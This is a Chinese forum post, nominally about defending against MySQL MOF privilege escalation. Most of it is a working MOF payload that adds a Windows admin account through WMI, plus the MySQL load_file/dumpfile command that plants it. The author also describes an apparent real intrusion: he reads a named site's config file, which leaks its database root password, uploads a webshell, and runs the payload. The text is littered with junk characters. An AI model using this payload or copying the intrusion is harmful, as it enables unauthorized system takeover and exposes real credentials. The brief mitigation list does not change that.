Mysql mof扩展漏洞防范方法
* w$ `$ T" d/ f4 m1 T7 ~5 K" k2 y7 x* _) W3 ?6 g6 q# G5 e) o. v
网上公开的一些利用代码:
! {- V* r% \( W' s: ^( Y6 o' n: D2 T9 d$ Q0 d$ B: x" h( R
#pragma namespace(“\\\\.\\root\\subscription”)
/ v' ~: G3 {7 S* y3 Q2 e5 o
3 J0 z7 y9 e# e9 A4 S" Uinstance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };2 d6 e& c3 O& r$ c6 s4 e
, I7 e& e9 O- I6 k1 i& \
" {* s7 N! Z ]2 }7 B
" L( Y1 @- b1 D * F7 N0 x" l& L* o
* i Y" v4 Q$ C6 J4 z# ]' F1 H连接mysql数据库后执行: select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
8 ?& B8 L5 @* ^ p# J% @2 Y# A, s从上面代码来看得出解决办法:: O, Q" s) x7 @0 _0 e9 o: o
8 D1 E' P/ v- d, j* C5 Y1、mysql用户权限控制,禁止 “load_file”、”dumpfile”等函数3 u+ M& o. A* D# M4 t" v8 G6 S% k
- W5 b- a4 b1 Z( b. D7 o
2、禁止使用”WScript.Shel”组件
" [. k% i. p+ O' z( _0 t! {! q& l; k- P
3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER
* W) x% Y# J7 r: l* a5 ?8 @
' G$ d7 T) G( r8 O( p2 w当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下
+ s% a7 A& S v; W3 J: ^, v. I S1 T1 n
事情是这样发生的 一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权; S8 D t( p+ i, l5 ?0 V
) m$ x0 g4 W# Y8 F; v但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容- \8 \* s. c: e: O
0 r E8 F& N1 _# g
看懂了后就开始练手吧
D! M, @% x+ N. [' _
6 T6 k% O9 |1 n0 l! b$ \9 thttp://www.webbmw.com/config/config_ucenter.php 一句话 a
8 @6 Z4 f6 I# |$ D! s
( `/ e! A+ `6 | {; U; b$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。2 Z/ a- c. g7 N% `; l# b+ W3 W8 m
( l8 ]) T3 C# ^
于是直接用菜刀开搞
# w* O4 ?) J4 U* e2 o3 Z) B1 U
1 d Z. Q& @& M) C上马先& W, l2 {8 t4 [3 S* ~- O2 d% T/ E
5 B% x* ?1 t e# G0 z
既然有了那些账号 之类的 于是我们就执行吧…….* q# \8 X$ Z* j" F" |7 ?/ f- ?, q8 `
( F) `! v) C3 A" g* V4 h! ~9 O$ E小小的说下
0 H" w2 C# m1 g& {# Y7 P( k3 z( x/ [2 x% d5 P- u0 }0 A3 I4 C
在这里第1次执行未成功 原因未知6 |2 U1 T! J" {6 _, x- d3 k
0 f# R$ H* O; y% ^. E1 ?
我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。
1 C; N; m- C% I( F) x0 n
* a6 x4 ~6 u$ I#pragma namespace(“\\\\.\\root\\subscription”)
: i P8 U6 J; {5 P# ]5 G& F' y( \( ?( H3 c7 u. G7 C. b
instance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };: z, |( s8 S! V7 u
5 n+ U2 W* F+ O
我是将文件放到C:\WINDOWS\temp\1.mof
' P) g5 o- |2 E
5 @% z5 p- i4 e. a- I. [1 l所以我们就改下执行的代码' Q6 w% U x$ _" G6 m- a
* U* Z' ~0 O! g Eselect load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;5 V% d2 \$ E0 }8 h
: s6 A$ c }* W% o) K) a9 d
- x' h" Z$ E2 L. L" q/ R% K2 B
& s& e5 V% R! P2 i
但是 你会发现账号还是没有躺在那里。。
n. U5 f7 E/ A# \+ T
& I; i* e* _6 A. m. G于是我就感觉蛋疼
* F8 u! u9 y& x4 [" b9 T
! y3 a( O' M \. _1 M4 K! Y3 t9 e, Z' ]就去一个一个去执行 但是执行到第2个 mysql时就成功了………8 D* [7 H9 `" u% e
A4 Z2 D' R) l5 U& ^: _, t
* v$ P( j4 ^! h$ {/ `) C+ X. ]2 f9 r% E8 O# t
但是其他库均不成功…
) q5 x) L. c5 S) e E- m% C5 e# G& @% _: e$ Q) P" P
我就很费解呀 到底为什么不成功求大牛解答…2 x: d, u* r3 y! N& x
6 L9 ?5 o) H% A0 g' r
6 W. f1 |% ?9 [+ S& }
3 D& Z' l/ q" V- g: M1 U |